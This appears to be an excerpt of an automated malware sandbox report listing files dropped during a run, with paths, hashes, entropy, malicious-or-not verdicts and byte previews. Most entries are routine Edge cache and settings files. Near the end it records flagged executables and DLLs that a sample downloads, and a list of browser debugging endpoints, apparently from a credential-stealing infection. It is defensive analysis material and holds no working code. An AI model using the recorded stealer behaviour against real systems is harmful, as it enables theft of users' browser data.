SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.012669810056261
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclX7gz:YWLSGTt1o9LuLgfGBPAzkVj/T8lrE
MD5:	8D59A4676B33D2BF99A70CD6B4557DC1
SHA1:	62A87FA9133529701320E0AD4B9B5769C597D2C4
SHA-256:	0DC20D453856A00249939AE3CDB5EF149B16E0BBCBBF1E7F94851AAC46803C98
SHA-512:	77B20A8FC90FD64E8317F91BC3E8FC9FF542C6DB6C2A8979036D9BB653DC31AC2DCBDA9FDBC935B078EF60293CD0F7A2EA149E03808C48BA00924405DFD685A8
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732881342894171}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e217f883-7d04-421d-9b6f-fb75bb0061a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46233
Entropy (8bit):	6.087723497644961
Encrypted:	false
SSDEEP:	768:aMkbJrT8IeQc5NXjjjLmZUapUR7eA4J6DPdPwdIQmxgxC1oLwWE7RTupzKscDX/K:aMk1rT8HFXYpUQIQ9IoLoRTuii
MD5:	FEE3C6AB9FE8619A2BEFBE3704F792A5
SHA1:	E71CD44B6CEEA524D5C47F191E1A7495E619DB95
SHA-256:	BF3ECB527B0D2777A1705EF4345F86CA070715AA5557715C000EC832D49B14B3
SHA-512:	90088F4E43557DDADD72E344A11052F62D1884DBB629D1E9470D876DFC48B290315CC83B3DD9857CD1818C15BADE20DB71ED95B710BCA5398F8A1779EDD1FF12
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"3a69139d-bb89-46fe-8ff1-e249a27738d9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732780543"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.838564372774599
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxTxl9Il8u3qqWrOw83hKKosGGsNzd1rc:miYRqzBssU
MD5:	DB0720D77E44F2825E4C1ADD30FA9858
SHA1:	247C770256091B56D4BE69ED60C53EE64906852E
SHA-256:	8503407BC6C57F42807E98A6AD838EE157D3162B9E12BCDA0A39E6FE09BB103D
SHA-512:	E5EF0F4B76AED3F111C7104909EAD59B412A221C5ACF9D947078C78EDC928649580FAB306E80A270817B92CDA9D172152ADD3F705906CD2378109B8A9C8CD81E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.F.F.n.T.n.N.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8./.x.9.m.o.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000710405041041
Encrypted:	false
SSDEEP:	96:JY4Z5rKc/lfDyUTB0u83FTcSabQ0EFKfD:JNZ1Kc/lfDbTSFTc/fD
MD5:	B00E15DE41DA4BA809CB5557E6513F79
SHA1:	5FB41F13A4FCA5132CF4B408956B41785F76B7E0
SHA-256:	3D4AF6B7167162F2C42EEDD6610F3589850AB20F42AF0312D71F05F44941AEE0
SHA-512:	70F24861F01D740C810B6240660DDBB81855AB264EF89CF1E4C58557B6619742E47D3920F3FE37075A8ECAE20487F28D85E1C1ADE90FA87EB80024B1240515A7
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".K.t.X.u.M.2.t.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8./.x.9.m.o.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9120422570270144
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xVxl9Il8uC0g1SNmgbhfqoDVn0lz+y+4c9XTzd/vc:abYw0g1SNmytDV0gdi
MD5:	C91654CD7AFA7C4BEBC9F19D41ED762C
SHA1:	07429BC913A74DFAB957991B37EEC528C4E9AA83
SHA-256:	D4051F90455C03358599B41BABAFEF5C702F5104014EBD63F625E3A8C985D3A0
SHA-512:	B3278409434594A00A0E924E76F0628B6609881F5E549BC3D824DA8A39D0C73EBF82FC44882087D8A58C36C3D43A940846AD03F748EB0D88C88F4742732708CB
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".m.A.l.2.Y.z.x.g.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8./.x.9.m.o.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4509184
Entropy (8bit):	7.979999985169523
Encrypted:	false
SSDEEP:	98304:vbYoHCpFDuGVBWyCWOS5P1hWQN0xq5U4KUCh44tNWlR4G95cyfwCq:vbYjkyPDWQN4OU4K9Ku6KuOA
MD5:	B96337EC2F2A9546C812553077E48C40
SHA1:	D5BB825D13E1ACEFA84F8A9267B1283378CE248C
SHA-256:	66E9C3609467FE70E4A3F309356881ECDE24BDBA959C2C8B2599C89BED68267C
SHA-512:	3097B276E6631DC7461C99468375D7CC2009B0147BD096EE5DD772957C342AC6FDA1EE56F549128D70D4A415447F834C6634A15CB345F01978EE94719F78A95F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%.Eg...............(.NK..:v..2...........`K...@..........................@.......VE...@... ............................._.s.s.....s............................................................................................................. . ..s......6(.................@....rsrc.........s......F(.............@....idata ......s......H(.............@... ..9...s......J(.............@...xdoawxra.`.......\...L(.............@...tquinoww..............D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.378217657530772
Encrypted:	false
SSDEEP:	48:SfNaoQ5pSpETEQ5pwfNaoQ/sLQ/WfNaoQGjcvQGdfNaoQdc70UrU0U8Qu:6NnQVTEQwNnQQQ2NnQZQQNnQ+0UrU0Um
MD5:	072E413C59BA840E236BE50987DE6D9E
SHA1:	686371661652AB28B9F1B0ACF5B3E36281067515
SHA-256:	2BCB97077720DD58809993EAFBAF5CA4729326D434C02C46466745D028D7DDF2
SHA-512:	390D61A2E34472E9310A17D6578D0508542CE4F432F3FA0144DE1E3848771CE10CF7C5AC07F68A4E04069E0D76F3BFAF610A231BD886E2E6B8CF820E8694D3A0
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/BA72E96185506C3939B46183843D9E48",.. "id": "BA72E96185506C3939B46183843D9E48",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/BA72E96185506C3939B46183843D9E48"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/FB668C78D8B83C83B24CD2E80BFB3562",.. "id": "FB668C78D8B83C83B24CD2E80BFB3562",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/FB668C78D8B83C83B24CD2E80BFB3562"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
